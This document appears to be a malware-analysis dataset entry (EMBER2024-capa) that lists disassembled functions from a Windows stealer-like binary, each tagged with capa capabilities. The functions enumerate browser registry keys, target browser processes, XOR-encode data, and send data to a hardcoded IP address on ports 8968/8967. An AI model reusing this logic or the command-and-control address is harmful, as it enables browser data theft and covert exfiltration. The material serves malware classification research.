joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180006118
Capabilities:
Suspend thread

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
and qword [rcx], 0
and dword [rcx + 8], 0
and dword [rcx + 0xc], 0
mov ebp, r8d
mov r14d, edx
mov rbx, rcx
call fcn.180005f60
cmp qword [rbx], 0
je 0x180006199
xor edi, edi
cmp dword [rbx + 0xc], edi
jbe 0x180006199
mov rax, qword [rbx]
xor edx, edx
mov r8d, dword [rax + rdi*4]
lea ecx, [rdx + 0x5a]
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov rsi, rax
test rax, rax
je 0x180006192
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SuspendThread]
mov r8d, ebp
mov edx, r14d
mov rcx, rsi
call fcn.180006494
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
inc edi
cmp edi, dword [rbx + 0xc]
jb 0x180006158
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret

Function at 0x180006594
Capabilities:
Resume thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
cmp qword [rcx], 0
mov rbx, rcx
je 0x1800065f8
xor edi, edi
cmp dword [rcx + 0xc], edi
jbe 0x1800065e6
mov rax, qword [rbx]
xor edx, edx
mov r8d, dword [rax + rdi*4]
lea ecx, [rdx + 0x5a]
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov rsi, rax
test rax, rax
je 0x1800065df
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
inc edi
cmp edi, dword [rbx + 0xc]
jb 0x1800065b3
mov r8, qword [rbx]
mov rcx, qword [0x180043a10]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret

Function at 0x180006f28
Capabilities:
Encode data using xor

Disassembly:
test edx, edx
je 0x180006f7f
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rbp, r8
mov esi, edx
mov rdi, rcx
xor ebx, ebx
mov rcx, rbp
call qword [0x180042828]
xor edx, edx
mov r8d, eax
mov eax, ebx
inc ebx
div r8d
mov al, byte [rdx + rbp]
xor byte [rdi], al
inc rdi
cmp ebx, esi
jb 0x180006f4a
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x180007438
Capabilities:
Set file attributes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0x140]
sub rsp, 0x240
mov rdi, rdx
mov ebx, ecx
test ecx, ecx
je 0x180007531
jle 0x18000755c
cmp ecx, 2
jle 0x1800074f6
cmp ecx, 3
jne 0x18000755c
mov ebx, 0x103
lea rcx, [rsp + 0x21]
xor edx, edx
mov r8d, ebx
mov byte [rsp + 0x20], 0
call fcn.1800070d8
lea rcx, [rbp + 0x31]
mov r8d, ebx
xor edx, edx
mov byte [rbp + 0x30], 0
call fcn.1800070d8
lea rdx, [rsp + 0x20]
mov r9d, 1
xor r8d, r8d
mov rcx, rdi
call fcn.1800071f0
test eax, eax
je 0x18000755c
lea rcx, [rbp + 0x30]
call fcn.180006e8c
lea rcx, [rbp + 0x30]
call qword [0x180042af8]
lea rdx, [rbp + 0x30]
lea rcx, [rsp + 0x20]
xor r8d, r8d
call qword [0x180042850]
lea rcx, [rbp + 0x30]
mov edx, 2
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
jmp 0x18000755c
mov dl, 0x3a
mov rcx, rdi
call qword [0x180042998]
test rax, rax
je 0x18000755c
xor edx, edx
lea rcx, [rax + 1]
mov byte [rax], 0
lea r8d, [rdx + 0xa]
call qword [0x1800428a8]
mov rcx, rdi
mov edx, eax
cmp ebx, 2
jne 0x18000752a
call fcn.18001bd30
jmp 0x18000755c
call fcn.18001aec4
jmp 0x18000755c
lea rcx, [rsp + 0x21]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x20], 0
call fcn.1800070d8
xor r9d, r9d
lea rdx, [rsp + 0x20]
lea r8d, [r9 + 1]
mov rcx, rdi
call fcn.1800071f0
lea r11, [rsp + 0x240]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret
Function at 0x18000d378
Capabilities:
Query or enumerate registry value

Disassembly:
push rbp
push rbx
push rdi
lea rbp, [rsp - 0x70]
sub rsp, 0x170
lea rax, str.SOFTWAREGoogleChromeBLBeacon
lea rdx, str.chrome
mov rbx, rcx
mov qword [rsp + 0x40], rax
lea rax, str.SOFTWAREWOW6432NodeGoogleChromeBLBeacon
mov dword [rbp + 0x98], pe_nt_image_headers64
mov qword [rsp + 0x48], rax
lea rax, str.SOFTWAREBraveSoftwareBrave_BrowserBLBeacon
mov qword [rsp + 0x60], rax
lea rax, str.SOFTWAREWOW6432NodeBraveSoftwareBrave_BrowserBLBeacon
mov qword [rsp + 0x68], rax
lea rax, str.SOFTWAREMicrosoftEdgeBLBeacon
mov qword [rsp + 0x30], rax
lea rax, str.SOFTWAREWOW6432NodeMicrosoftEdgeBLBeacon
mov qword [rsp + 0x38], rax
lea rax, str.SOFTWAREOpera_SoftwareOpera_Stable
mov qword [rsp + 0x50], rax
lea rax, str.SOFTWAREWOW6432NodeOpera_SoftwareOpera_Stable
mov qword [rsp + 0x58], rax
call fcn.18001ea10
test eax, eax
jne 0x18000d40c
lea rbx, [rsp + 0x40]
jmp 0x18000d458
lea rdx, str.brave
mov rcx, rbx
call fcn.18001ea10
test eax, eax
jne 0x18000d426
lea rbx, [rsp + 0x60]
jmp 0x18000d458
lea rdx, str.edge
mov rcx, rbx
call fcn.18001ea10
test eax, eax
jne 0x18000d440
lea rbx, [rsp + 0x30]
jmp 0x18000d458
lea rdx, str.opera
mov rcx, rbx
call fcn.18001ea10
test eax, eax
jne 0x18000d4ce
lea rbx, [rsp + 0x50]
xor edi, edi
mov rdx, qword [rbx + rdi*8]
lea rax, [rbp + 0xa8]
mov r9d, 0x20019
xor r8d, r8d
mov rcx, 0xffffffff80000001
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x18000d4c5
mov rcx, qword [rbp + 0xa8]
lea rax, [rbp + 0x98]
lea rdx, str.version
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x70]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x18000d4db
mov rcx, qword [rbp + 0xa8]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
inc rdi
cmp rdi, 2
jl 0x18000d45a
xor eax, eax
add rsp, 0x170
pop rdi
pop rbx
pop rbp
ret
mov eax, dword [rbp + 0x98]
and dword [rbp + 0xa0], 0
lea r8, [rbp + 0xa0]
lea rdx, [0x180032670]
lea rcx, [rsp + 0x70]
mov byte [rsp + rax + 0x70], 0
call fcn.18001e648
mov rcx, qword [rbp + 0xa8]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [rbp + 0xa0]
jmp 0x18000d4d0
Function at 0x18000d870
Capabilities:
Enumerate process modules

Disassembly:
mov rax, rsp
push rbp
lea rbp, [rax - 0x198]
sub rsp, 0x290
mov qword [rsp + 0x40], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rdi
mov edi, edx
mov rbx, rcx
and dword [rsp + 0x38], 0
lea rcx, [rsp + 0x20]
call fcn.18000bf00
nop
lea eax, [rdi + 1]
test eax, 0xfffffffe
jne 0x18000d8ba
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov edi, eax
mov edx, edi
mov ecx, 8
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x18000d906
mov dword [rsp + 0x50], 0x238
lea rdx, [rsp + 0x50]
mov rcx, rax
call sub.KERNEL32.dll_Module32First
jmp 0x18000d902
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x20]
call fcn.180013750
lea rdx, [rsp + 0x50]
mov rcx, rdi
call sub.KERNEL32.dll_Module32Next
test eax, eax
jne 0x18000d8e6
lea rdx, [rsp + 0x20]
mov rcx, rbx
call fcn.18000bf28
nop
lea rcx, [rsp + 0x20]
call fcn.18000c5ac
mov rax, rbx
lea r11, [rsp + 0x290]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret
Function at 0x18000ea28
Capabilities:
Parse credit card information

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rdi, rcx
mov ecx, dword [rcx + 0x7c]
xor al, al
mov bl, 1
cmp ecx, 0xffffffff
je 0x18000ebd2
cmp ecx, 0x7c
je 0x18000ebd2
cmp ecx, 0x29
jne 0x18000ea6d
cmp dword [rdi + 0x1c], 0
jne 0x18000ebd2
test dword [rdi + 0x80], 0x10000000
je 0x18000ebdd
cmp ecx, 0x2e
jne 0x18000ea88
lea rcx, [rdi + 0x40]
call fcn.18000e5b4
mov rcx, rdi
call fcn.18001189c
jmp 0x18000ebbe
cmp ecx, 0x5c
jne 0x18000eaeb
mov rcx, rdi
call fcn.18001189c
mov eax, dword [rdi + 0x80]
and eax, 0x80
je 0x18000eabe
cmp byte [rdi + 0x78], 0x62
jne 0x18000eabe
lea rcx, [rdi + 0x40]
call fcn.18000ea1c
mov rcx, rdi
call fcn.18001189c
jmp 0x18000ebc6
test eax, eax
je 0x18000eade
cmp byte [rdi + 0x78], 0x42
jne 0x18000eade
lea rbx, [rdi + 0x40]
mov rcx, rbx
call fcn.18000ea1c
mov rcx, rbx
call fcn.180011844
jmp 0x18000eab1
mov rcx, rdi
call fcn.18000ec88
jmp 0x18000ebbe
cmp ecx, 0x5b
jne 0x18000eb16
mov rcx, rdi
call fcn.18001189c
mov rcx, rdi
call fcn.18000f240
mov edx, 0x5d
mov rcx, rdi
lea r8d, [rdx - 0x59]
call fcn.180010484
jmp 0x18000ebbe
cmp ecx, 0x28
jne 0x18000eb40
mov rcx, rdi
call fcn.18001189c
mov rcx, rdi
call fcn.1800126e8
mov edx, 0x29
mov rcx, rdi
lea r8d, [rdx - 0x24]
mov bl, al
call fcn.180010484
jmp 0x18000ebba
cmp ecx, 0x5e
jne 0x18000eb53
lea rcx, [rdi + 0x40]
call fcn.18000e3c0
jmp 0x18000eab1
cmp ecx, 0x24
jne 0x18000eb66
lea rcx, [rdi + 0x40]
call fcn.18000e640
jmp 0x18000eab1
lea eax, [rcx - 0x2a]
cmp eax, 1
jbe 0x18000ec07
cmp ecx, 0x3f
je 0x18000ec07
cmp ecx, 0x7b
je 0x18000ec07
cmp ecx, 0x7d
jne 0x18000eb95
test dword [rdi + 0x80], 0x10000000
je 0x18000ebeb
cmp ecx, 0x5d
jne 0x18000eba6
test dword [rdi + 0x80], 0x10000000
je 0x18000ebf9
mov dl, byte [rdi + 0x78]
lea rcx, [rdi + 0x40]
call fcn.18000e3cc
mov rcx, rdi
call fcn.18001189c
test bl, bl
je 0x18000ebc6
mov rcx, rdi
call fcn.180011944
mov ecx, dword [rdi + 0x7c]
mov al, 1
mov bl, al
jmp 0x18000ea3c
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
mov edx, 5
mov rcx, rdi
call fcn.180010440
int3
mov edx, 6
mov rcx, rdi
call fcn.180010440
int3
mov edx, 4
mov rcx, rdi
call fcn.180010440
int3
mov edx, 0xa
mov rcx, rdi
call fcn.180010440
int3
Function at 0x180016530
Capabilities:
Parse credit card information

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rdi, rcx
mov ecx, dword [rcx + 0x7c]
xor al, al
mov bl, 1
cmp ecx, 0xffffffff
je 0x1800166da
cmp ecx, 0x7c
je 0x1800166da
cmp ecx, 0x29
jne 0x180016575
cmp dword [rdi + 0x1c], 0
jne 0x1800166da
test dword [rdi + 0x80], 0x10000000
je 0x1800166e5
cmp ecx, 0x2e
jne 0x180016590
lea rcx, [rdi + 0x40]
call fcn.18000e5b4
mov rcx, rdi
call fcn.1800182b8
jmp 0x1800166c6
cmp ecx, 0x5c
jne 0x1800165f3
mov rcx, rdi
call fcn.1800182b8
mov eax, dword [rdi + 0x80]
and eax, 0x80
je 0x1800165c6
cmp byte [rdi + 0x78], 0x62
jne 0x1800165c6
lea rcx, [rdi + 0x40]
call fcn.18000ea1c
mov rcx, rdi
call fcn.1800182b8
jmp 0x1800166ce
test eax, eax
je 0x1800165e6
cmp byte [rdi + 0x78], 0x42
jne 0x1800165e6
lea rbx, [rdi + 0x40]
mov rcx, rbx
call fcn.18000ea1c
mov rcx, rbx
call fcn.180011844
jmp 0x1800165b9
mov rcx, rdi
call fcn.180016720
jmp 0x1800166c6
cmp ecx, 0x5b
jne 0x18001661e
mov rcx, rdi
call fcn.1800182b8
mov rcx, rdi
call fcn.1800169f8
mov edx, 0x5d
mov rcx, rdi
lea r8d, [rdx - 0x59]
call fcn.1800179b4
jmp 0x1800166c6
cmp ecx, 0x28
jne 0x180016648
mov rcx, rdi
call fcn.1800182b8
mov rcx, rdi
call fcn.180018a58
mov edx, 0x29
mov rcx, rdi
lea r8d, [rdx - 0x24]
mov bl, al
call fcn.1800179b4
jmp 0x1800166c2
cmp ecx, 0x5e
jne 0x18001665b
lea rcx, [rdi + 0x40]
call fcn.18000e3c0
jmp 0x1800165b9
cmp ecx, 0x24
jne 0x18001666e
lea rcx, [rdi + 0x40]
call fcn.18000e640
jmp 0x1800165b9
lea eax, [rcx - 0x2a]
cmp eax, 1
jbe 0x18001670f
cmp ecx, 0x3f
je 0x18001670f
cmp ecx, 0x7b
je 0x18001670f
cmp ecx, 0x7d
jne 0x18001669d
test dword [rdi + 0x80], 0x10000000
je 0x1800166f3
cmp ecx, 0x5d
jne 0x1800166ae
test dword [rdi + 0x80], 0x10000000
je 0x180016701
mov dl, byte [rdi + 0x78]
lea rcx, [rdi + 0x40]
call fcn.18000e3cc
mov rcx, rdi
call fcn.1800182b8
test bl, bl
je 0x1800166ce
mov rcx, rdi
call fcn.180018324
mov ecx, dword [rdi + 0x7c]
mov al, 1
mov bl, al
jmp 0x180016544
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
mov edx, 5
mov rcx, rdi
call fcn.180010440
int3
mov edx, 6
mov rcx, rdi
call fcn.180010440
int3
mov edx, 4
mov rcx, rdi
call fcn.180010440
int3
mov edx, 0xa
mov rcx, rdi
call fcn.180010440
int3
Function at 0x18001afe0
Capabilities:
Create thread

Disassembly:
push rbx
sub rsp, 0x140
lea rcx, [rsp + 0x31]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x30], 0
call fcn.1800070d8
lea rdx, [rsp + 0x30]
mov r8d, 0x104
xor ecx, ecx
call qword [0x180042808]
lea rcx, [rsp + 0x30]
call qword [0x180042810]
lea rdx, str.explorer.exe
mov rcx, rax
mov rbx, rax
call qword [0x180042888]
test eax, eax
jne 0x18001b062
call fcn.180006974
and qword [rsp + 0x28], 0
and dword [rsp + 0x20], 0
lea r9, [0x18003250e]
lea r8, [0x180015c8c]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
call fcn.1800076ec
lea rdx, str.firefox.exe
mov rcx, rbx
call qword [0x180042888]
test eax, eax
jne 0x18001b080
call fcn.180006974
call fcn.180018dc4
lea rdx, str.chrome.exe
mov rcx, rbx
call qword [0x180042888]
test eax, eax
jne 0x18001b09e
call fcn.180006974
call fcn.18000da80
lea rdx, str.msedge.exe
mov rcx, rbx
call qword [0x180042888]
test eax, eax
jne 0x18001b0bc
call fcn.180006974
call fcn.18000dbc8
lea rdx, str.opera.exe
mov rcx, rbx
call qword [0x180042888]
test eax, eax
jne 0x18001b0da
call fcn.180006974
call fcn.18000dd10
lea rdx, str.brave.exe
mov rcx, rbx
call qword [0x180042888]
test eax, eax
jne 0x18001b0fa
call fcn.180006974
call fcn.18000d938
jmp 0x18001b11d
and qword [rsp + 0x28], 0
and dword [rsp + 0x20], 0
lea r9, [0x18003250e]
lea r8, [0x180015c8c]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor eax, eax
add rsp, 0x140
pop rbx
ret
Function at 0x18001ba7c
Capabilities:
Connect socket
Initialize winsock library
Resolve dns
Send data
Send data on socket

Disassembly:
mov rax, rsp
push rbp
push r14
push r15
lea rbp, [rax - 0x178]
sub rsp, 0x260
mov qword [rsp + 0x70], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
mov r14, rcx
or r15, 0xffffffffffffffff
mov rdi, r15
and qword [rbp + 0x188], 0
mov ecx, 0x202
lea rdx, [rbp - 0x40]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x18001bad5
lea eax, [r15 + 2]
jmp 0x18001bc8f
xor edx, edx
lea r8d, [rdx + 0x30]
lea rcx, [rsp + 0x40]
call fcn.1800070d8
mov dword [rsp + 0x44], 2
mov esi, 1
mov dword [rsp + 0x48], esi
mov dword [rsp + 0x4c], 6
lea r9, [rbp + 0x188]
lea r8, [rsp + 0x40]
lea rdx, str.8968
lea rcx, str.176.111.174.140
call qword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
je 0x18001bb51
lea r9, [rbp + 0x188]
lea r8, [rsp + 0x40]
lea rdx, str.8967
lea rcx, str.176.111.174.140
call qword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
je 0x18001bb51
call qword [sym.imp.WS2_32.dll_WSACleanup]
jmp 0x18001bc8d
mov rbx, qword [rbp + 0x188]
test rbx, rbx
je 0x18001bba7
mov r8d, dword [rbx + 0xc]
mov edx, dword [rbx + 8]
mov ecx, dword [rbx + 4]
call qword [sym.imp.WS2_32.dll_socket]
mov rdi, rax
cmp rax, r15
je 0x18001bb46
mov r8d, dword [rbx + 0x10]
mov rdx, qword [rbx + 0x20]
mov rcx, rax
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, r15d
jne 0x18001bba0
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_closesocket]
mov rdi, r15
mov rbx, qword [rbx + 0x28]
test rbx, rbx
jne 0x18001bb5d
mov rbx, qword [rbp + 0x188]
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_freeaddrinfo]
cmp rdi, r15
je 0x18001bb46
xor r9d, r9d
lea r8d, [r9 + 9]
lea rdx, str.Diamotrix
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_send]
cmp eax, r15d
jne 0x18001bbdf
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_closesocket]
jmp 0x18001bb46
lea rdx, str.Diamotrix
lea rcx, [rbp - 0x68]
call fcn.1800010e8
nop
mov rdx, r14
lea rcx, [rsp + 0x78]
call fcn.1800010e8
nop
lea r8, [rbp - 0x68]
lea rdx, [rsp + 0x78]
lea rcx, [rsp + 0x20]
call fcn.1800046d4
nop
lea rcx, [rsp + 0x78]
call fcn.1800011bc
nop
lea rcx, [rbp - 0x68]
call fcn.1800011bc
lea rcx, [rsp + 0x20]
call fcn.18001353c
mov rbx, rax
lea rcx, [rsp + 0x20]
call fcn.180004cb4
mov rdx, rax
xor r9d, r9d
mov r8d, ebx
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_send]
mov rcx, rdi
cmp eax, r15d
je 0x18001bc67
mov edx, esi
call qword [sym.imp.WS2_32.dll_shutdown]
mov rcx, rdi
cmp eax, r15d
jne 0x18001bc75
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
jmp 0x18001bc83
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
xor esi, esi
lea rcx, [rsp + 0x20]
call fcn.1800011bc
mov eax, esi
lea r11, [rsp + 0x260]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x1400016c0
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
sub rsp, 0x20
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rbx, rax
test rax, rax
je 0x14000180c
lea rdx, str.NtClose
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtMapViewOfSection
mov rcx, rbx
mov qword [0x1400430c8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtSetInformationFile
mov rcx, rbx
mov qword [0x140043090], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.RtlInitUnicodeString
mov rcx, rbx
mov qword [0x140043068], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtSetInformationProcess
mov rcx, rbx
mov qword [0x140043060], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.RtlAdjustPrivilege
mov rcx, rbx
mov qword [0x1400430a8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtCreateSection
mov rcx, rbx
mov qword [0x140043088], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtOpenFile
mov rcx, rbx
mov qword [0x1400430b8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtWriteFile
mov rcx, rbx
mov qword [0x1400430d8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp qword [0x1400430c8], 0
mov qword [0x140043080], rax
je 0x140001803
cmp qword [0x140043090], 0
je 0x140001803
cmp qword [0x140043068], 0
je 0x140001803
cmp qword [0x140043060], 0
je 0x140001803
cmp qword [0x1400430a8], 0
je 0x140001803
cmp qword [0x140043088], 0
je 0x140001803
cmp qword [0x1400430b8], 0
je 0x140001803
cmp qword [0x1400430d8], 0
je 0x140001803
test rax, rax
jne 0x14000180c
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
add rsp, 0x20
pop rbx
ret

Function at 0x140001814
Capabilities:
Parse pe header

Disassembly:
mov r9d, 0x5a4d
mov r8d, 0x400
mov r10d, 0x4550
test rcx, rcx
je 0x140001848
cmp word [rcx], r9w
jne 0x140001848
cmp dword [rcx + 0x3c], r8d
jg 0x140001848
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], r10d
jne 0x140001848
movzx edx, word [rax + rcx + 4]
jmp 0x14000184a
xor edx, edx
test rcx, rcx
je 0x140001870
cmp word [rcx], r9w
jne 0x140001870
cmp dword [rcx + 0x3c], r8d
jg 0x140001870
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
cmp dword [rax], r10d
jne 0x140001870
mov ecx, 0x8664
mov eax, dword [rax + 0x28]
ret
xor eax, eax
ret
Function at 0x140001aa4
Capabilities:
Get common file path

Disassembly:
mov rax, rsp
push rbp
push rsi
push rdi
push r14
push r15
lea rbp, [rax - 0x448]
sub rsp, 0x520
mov qword [rsp + 0x50], 0xfffffffffffffffe
mov qword [rax + 0x18], rbx
mov rax, qword [0x14002da48]
xor rax, rsp
mov qword [rbp + 0x410], rax
mov esi, edx
mov rdi, rcx
xor r14d, r14d
mov word [rbp + 0x200], r14w
mov ebx, 0x206
mov r8d, ebx
xor edx, edx
lea rcx, [rbp + 0x202]
call fcn.14000af50
mov word [rbp - 0x10], r14w
mov r8d, ebx
xor edx, edx
lea rcx, [rbp - 0xe]
call fcn.14000af50
lea rdx, [rbp - 0x10]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
lea r9, [rbp + 0x200]
xor r8d, r8d
lea rdx, [0x140026bac]
lea rcx, [rbp - 0x10]
call qword [sym.imp.KERNEL32.dll_GetTempFileNameW]
mov qword [rbp - 0x50], 7
mov qword [rbp - 0x58], r14
mov word [rbp - 0x68], r14w
lea rcx, [0x140026ba0]
call fcn.14000b180
mov r8, rax
lea rdx, [0x140026ba0]
lea rcx, [rbp - 0x68]
call fcn.1400023f4
nop
lea rdx, [rbp + 0x200]
lea rcx, [rbp - 0x68]
call fcn.140002280
mov word [rbp - 0x48], r14w
xor eax, eax
mov qword [rbp - 0x46], rax
mov dword [rbp - 0x3e], eax
mov word [rbp - 0x3a], ax
lea rdx, [rbp - 0x68]
cmp qword [rbp - 0x50], 8
cmovae rdx, qword [rbp - 0x68]
lea rcx, [rbp - 0x48]
call qword [0x140043060]
xor edx, edx
lea r8d, [r14 + 0x28]
lea rcx, [rsp + 0x68]
call fcn.14000af50
mov dword [rsp + 0x60], 0x30
mov qword [rsp + 0x68], r14
mov dword [rsp + 0x78], 0x40
lea rax, [rbp - 0x48]
mov qword [rsp + 0x70], rax
mov qword [rbp - 0x80], r14
mov qword [rbp - 0x78], r14
mov qword [rbp - 0x20], r14
xor eax, eax
mov qword [rbp - 0x18], rax
or r15, 0xffffffffffffffff
mov qword [rsp + 0x58], r15
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 3
lea r9, [rbp - 0x20]
lea r8, [rsp + 0x60]
mov edx, 0xc0110000
lea rcx, [rsp + 0x58]
call qword [0x1400430d8]
test eax, eax
jns 0x140001c37
cmp qword [rbp - 0x50], 8
jb 0x140001cdc
mov rcx, qword [rbp - 0x68]
call fcn.140006e34
jmp 0x140001cdc
mov rbx, qword [rsp + 0x58]
cmp qword [rbp - 0x50], 8
jb 0x140001c4c
mov rcx, qword [rbp - 0x68]
call fcn.140006e34
mov qword [rbp - 0x50], 7
mov qword [rbp - 0x58], r14
mov word [rbp - 0x68], r14w
lea rax, [rbx - 1]
cmp rax, 0xfffffffffffffffd
ja 0x140001cdc
mov qword [rbp - 0x30], r14
xor ecx, ecx
mov qword [rbp - 0x28], rcx
mov byte [rbp - 0x70], 1
mov dword [rsp + 0x20], 0xd
lea r9d, [rcx + 1]
lea r8, [rbp - 0x70]
lea rdx, [rbp - 0x30]
mov rcx, rbx
call qword [0x140043068]
test eax, eax
js 0x140001cdc
mov qword [rbp - 0x38], r14
mov qword [rsp + 0x40], r14
lea rax, [rbp - 0x38]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], esi
mov qword [rsp + 0x28], rdi
lea rax, [rbp - 0x30]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rbx
call qword [0x140043080]
test eax, eax
jns 0x140001cd7
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x140001cdc
mov rax, rbx
jmp 0x140001cdf
mov rax, r15
mov rcx, qword [rbp + 0x410]
xor rcx, rsp
call fcn.14000a800
mov rbx, qword [rsp + 0x560]
add rsp, 0x520
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
Function at 0x140001d08
Capabilities:
Get file size
Write file on windows

Disassembly:
mov r11, rsp
mov qword [r11 + 0x10], rbx
push rdi
sub rsp, 0x60
mov rax, qword [0x14002da48]
xor rax, rsp
mov qword [rsp + 0x50], rax
and qword [r11 - 0x28], 0
mov qword [r11 - 0x38], rcx
mov rbx, rcx
lea rcx, [r11 - 0x28]
xor r9d, r9d
xor r8d, r8d
mov edx, 0xf001f
mov dword [rsp + 0x28], 0x1000000
mov dword [rsp + 0x20], 2
call qword [0x1400430b8]
test eax, eax
je 0x140001d5e
or rax, 0xffffffffffffffff
jmp 0x140001ddb
lea rdx, [rsp + 0x4c]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSize]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rbx
lea edi, [rax - 0xc]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
jmp 0x140001db8
and qword [rsp + 0x20], 0
lea r9, [rsp + 0x48]
lea rdx, [0x140026bb4]
mov r8d, 8
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov r9d, 1
xor r8d, r8d
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
sub edi, dword [rsp + 0x48]
mov rcx, rbx
cmp edi, 8
ja 0x140001d82
call qword [0x1400430c8]
mov rdx, qword [rsp + 0x40]
or rax, 0xffffffffffffffff
lea rcx, [rdx - 1]
cmp rcx, 0xfffffffffffffffd
cmovbe rax, rdx
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.14000a800
mov rbx, qword [rsp + 0x78]
add rsp, 0x60
pop rdi
ret